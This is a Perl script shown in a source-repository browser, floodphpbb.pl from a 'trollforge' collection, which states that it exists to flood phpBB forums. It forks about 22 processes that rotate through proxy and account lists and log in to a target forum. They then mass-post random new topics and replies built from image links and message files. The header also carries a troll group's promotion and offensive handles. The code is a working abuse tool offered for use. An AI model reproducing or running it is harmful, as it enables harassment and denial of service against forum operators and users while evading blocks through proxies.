source: trollforge/dsp-trollforge/Multipurpose/floodphpbb.pl @ 41

Revision 41, 7.5 KB checked in by sam, 8 years ago (diff)
  • DSP's trollforge snapshot.
  • Property svn:keywords set to Id
Line 
1#!/usr/bin/perl
2
3# floodphpbb alpha 1
4
5# by Popeye | popeye@gnaa.us | are you down with the GNAA killaz? if so see #gnaa @ irc.gnaa.us
6
7# use this program to flood the shit out of phpbb forums
8
9# modified by Jewbird (Nath0rn) check readme.txt for more info
10
11
12
13use strict;
14
15
16
17use Socket;
18
19use IO::Handle;
20
21use LWP::UserAgent;
22
23use HTTP::Request::Common;
24
25use HTTP::Cookies;
26
27
28
29$SIG{CHLD} = 'IGNORE';
30
31
32
33if($#ARGV < 0)
34
35{
36
37 print STDERR "Need options file (refer to readme.txt)\n";
38
39 exit 0;
40
41}
42
43
44
45my %accounts = ();
46
47my %proxies = ();
48
49my %accounts = ();
50
51my %proxies = ();
52
53my @subject;
54
55my @image;
56
57my $message;
58
59my $i;
60
61my @options;
62
63my $url;
64
65my %env;
66
67my $first;
68
69my $second;
70
71my $third;
72
73my $black;
74
75my $error;
76
77my $ok;
78
79
80
81my $MAXFORK = 22;
82
83#my $MAXFORK = 25;
84
85my $MAXFAIL = 1;
86
87
88
89my $varFile = shift @ARGV or die "$i";
90
91(@options[0],@options[1],@options[2],@options[3],@options[4],@options[5],@options[6]);
92
93
94
95open DATA, $varFile or die "Can't open file: $!";
96
97  while (<DATA>) {
98
99    chomp;
100
101    (@options[0],@options[1],@options[2],@options[3],@options[4],@options[5],@options[6]) = split /\|/;
102
103  }
104
105close DATA;
106
107
108
109$url = $options[0];
110
111
112
113if ($ENV{SHELL} = "/bin/bash") {
114
115print "BASH Detected, using pretty colours. =D\n";
116
117$first="\e[0;36m";
118
119$second="\e[0;35m";
120
121$third="\e[0;34m";
122
123$black="\e[0;30m";
124
125$error="\e[1;31m";
126
127$ok="\e[1;32m";
128
129}
130
131
132
133print "> Picked up options:
134
135        URL: $options[0]
136
137        Message: $options[1]
138
139        Subject: $options[2]
140
141        Images: $options[3]
142
143        Accounts: $options[4]
144
145        Proxy: $options[5]\n";
146
147
148
149open MYFILE, $options[1] or die "$!";
150
151while (<MYFILE>)
152
153{
154
155  $message .= $_;
156
157}
158
159close MYFILE;
160
161
162
163open SFILE,  $options[2] or die "$!";
164
165while (<SFILE>)
166
167{
168
169  @subject = <SFILE>;
170
171}
172
173close SFILE;
174
175
176
177open IFILE, $options[3] or die "$!";
178
179while (<IFILE>)
180
181{
182
183  @image = <IFILE>;
184
185}
186
187close IFILE;
188
189
190
191
192
193if (my $ACCOUNTFILE = $options[4])
194
195{
196
197  print STDERR "> Populating list of accounts from '$ACCOUNTFILE'";
198
199  open ACCOUNTFILE, $ACCOUNTFILE or die "$!";
200
201  $i=0;
202
203  while (<ACCOUNTFILE>) 
204
205  {
206
207    $i++;
208
209    chomp;
210
211    /^(.+) (.+)$/;
212
213    $accounts{$1} = $2;
214
215  }
216
217  close ACCOUNTFILE;
218
219  print STDERR "\n> Got $i accounts.\n";
220
221}
222
223
224
225my $PROXYFILE = $options[5];
226
227
228
229socketpair (CHENEY, BUSH, AF_UNIX, SOCK_STREAM, PF_UNSPEC) or die "socketpair: $!";
230
231
232
233CHENEY->autoflush(1);
234
235BUSH->autoflush(1);
236
237
238
239if (my $jpid = fork) 
240
241{
242
243  close BUSH;
244
245} 
246
247else 
248
249{
250
251  die "$!" unless defined $jpid;
252
253  close CHENEY;
254
255 
256
257  $SIG{INT} = \&exit_nicely;
258
259 
260
261  if (defined $PROXYFILE) {
262
263    print STDERR "> Populating list of proxies from '$PROXYFILE'";
264
265    open PROXYFILE, $PROXYFILE or die "$!";
266
267    $i=0;
268
269    while (<PROXYFILE>) {
270
271      $i++;
272
273      chomp;
274
275      $proxies{$_} = $MAXFAIL;
276
277    }
278
279    close PROXYFILE;
280
281    print STDERR "\n> Got $i proxies.\n";
282
283  }
284
285
286
287  my $command;
288
289  while (1) {
290
291    chomp ($command = <BUSH>);
292
293   
294
295    if ($command =~ /getproxy/) {
296
297      if (keys %proxies > 0) {
298
299        print BUSH (keys %proxies)[int rand keys %proxies] ."\n";
300
301      } else {
302
303        print BUSH 'none\n';
304
305      }
306
307    } elsif ($command =~ /fail (\S+)/) {
308
309      if ( --$proxies{$1} le 0 ) {
310
311        print STDERR "killing $1\n";
312
313        delete $proxies{$1};
314
315      }
316
317    } else {
318
319      die "Bad command: $command\n";
320
321    }
322
323  }
324
325}
326
327
328
329
330
331for ($i=0; $i<$MAXFORK; $i++) {
332
333  FORK:
334
335  {
336
337    if (my $pid = fork) 
338
339    {
340
341    } 
342
343    elsif (defined $pid) 
344
345    {
346
347      while (1) 
348
349      { 
350
351        my ($username, $password) = get_account ();
352
353       
354
355        print CHENEY "getproxy\n";
356
357        chomp (my $proxy = <CHENEY>);
358
359       
360
361        print STDERR "$black Child$first $i$black with proxy$second $proxy$black user$third $username\n";
362
363         
364
365        if (psot ($proxy, $username, $password)) 
366
367        {
368
369
370
371        if ($i < int($MAXFORK / 2)) {
372
373                  print STDERR "$ok Child $i posted with success.\n";
374
375        }
376
377        else
378
379        {
380
381                  print STDERR "$ok Child $i replyed with success.\n";
382
383        } 
384
385        }
386
387        else 
388
389
390
391        {
392
393
394
395          if ($i < int($MAXFORK / 2)) {
396
397                print STDERR "$error Child $i failes post ($proxy)\n";
398
399          }
400
401           else
402
403          {
404
405                print STDERR "$error Child $i failes reply ($proxy)\n";
406
407          }
408
409
410
411          print CHENEY "fail $proxy\n";
412
413          die
414
415        }       
416
417      }
418
419     
420
421    } 
422
423    elsif ($! =~ /No more process/) 
424
425    {
426
427      redo FORK;
428
429    } else 
430
431    {
432
433      print STDERR "hit process limit\n";
434
435      goto ENDFORK;
436
437    }
438
439  }
440
441}
442
443
444
445while (1) { sleep 1; }
446
447
448
449psot();
450
451
452
453sub psot
454
455{
456
457  my $proxy = shift;
458
459  my $username = shift;
460
461  my $password = shift;
462
463 
464
465  my $ua = LWP::UserAgent->new;
466
467  $ua->agent('Mozilla/5.0');
468
469  $ua->cookie_jar(HTTP::Cookies->new);
470
471  if (! ($proxy =~ /none/) ) { $ua->proxy('http', "http://$proxy"); }
472
473  push @{$ua->requests_redirectable}, 'POST';
474
475 
476
477  my $sid;
478
479 
480
481  my @topics;
482
483 
484
485  my $response = $ua->request(GET $url); 
486
487 
488
489  foreach my $x (split /\n/, $response->content) 
490
491  {
492
493    #print $x."\n";
494
495    if ($x=~ m|php\?sid=([^\"]+)\"|i)
496
497    {
498
499      $sid = $1;
500
501    }
502
503  }
504
505 
506
507  if ($sid eq "")
508
509  {
510
511    print "$error Failed to get session ID.\n";
512
513    # return 0;
514
515  }
516
517 
518
519  my $posturl = "$url\/login.php?redirect=$url/index.php";
520
521 
522
523  my $req = POST $posturl, [    username => $username,
524
525                                password => $password,
526
527                                sid => $sid,
528
529                                redirect => '',
530
531                                login => 'Login',
532
533        ];
534
535 
536
537  $req->referer($url);
538
539  $response = $ua->request($req);
540
541 
542
543  foreach my $x (split /\n/, $response->content)
544
545  {
546
547    if ($x=~ /(a href=.+?viewforum.+?f=(.+?)\")/)
548
549    {
550
551      push(@topics, $2);
552
553    }
554
555  }
556
557 
558
559
560
561  my $temprand=int(rand(350));
562
563
564
565  my $choice = int(rand($#topics));
566
567  $posturl = "$url\/posting.php";
568
569
570
571  my $replyurl = "$url\/posting.php?mode=reply&t=$temprand";
572
573
574
575  my $temp;
576
577  $temp = "$image[int(rand(scalar(@image)))] $message";
578
579 
580
581if ($i < int($MAXFORK / 2)) {
582
583  $req = POST $posturl, [        subject              => $subject[int(rand(scalar(@subject)))],
584
585                                 message              => $temp,
586
587                                 mode                 => 'newtopic',
588
589                                 sid                  => $sid,
590
591                                 f                    => $topics[$choice],
592
593                                 post                 => 'Submit',
594
595                                 poll_title           => '',
596
597                                 add_poll_option_text => '',
598
599                                 poll_length          => '',
600
601            ];
602
603}
604
605else
606
607
608
609  $req = POST $replyurl, [       subject              => $subject[int(rand(scalar(@subject)))],
610
611                                 message              => $temp,
612
613                                 mode                 => 'reply',
614
615                                 post                 => 'Submit',
616
617           
618
619        ];
620
621}
622
623  $temp="";
624
625
626
627  $response = $ua->request($req);
628
629 
630
631  if ($response->content eq "")
632
633  {
634
635    print STDERR "$error Error posting\n";
636
637  }
638
639 
640
641  return 1;
642
643
644
645}
646
647
648
649sub get_account
650
651{
652
653  if (keys %accounts > 0) {
654
655    my $nick = (keys %accounts)[int rand keys %accounts];
656
657    return ( $nick, $accounts{$nick} );
658
659  } else {
660
661    return ( '', '' );
662
663  }
664
665}
666
667
668
669sub exit_nicely
670
671{
672
673  die "$black Exiting.\n";
674
675}
676
Note: See TracBrowser for help on using the repository browser.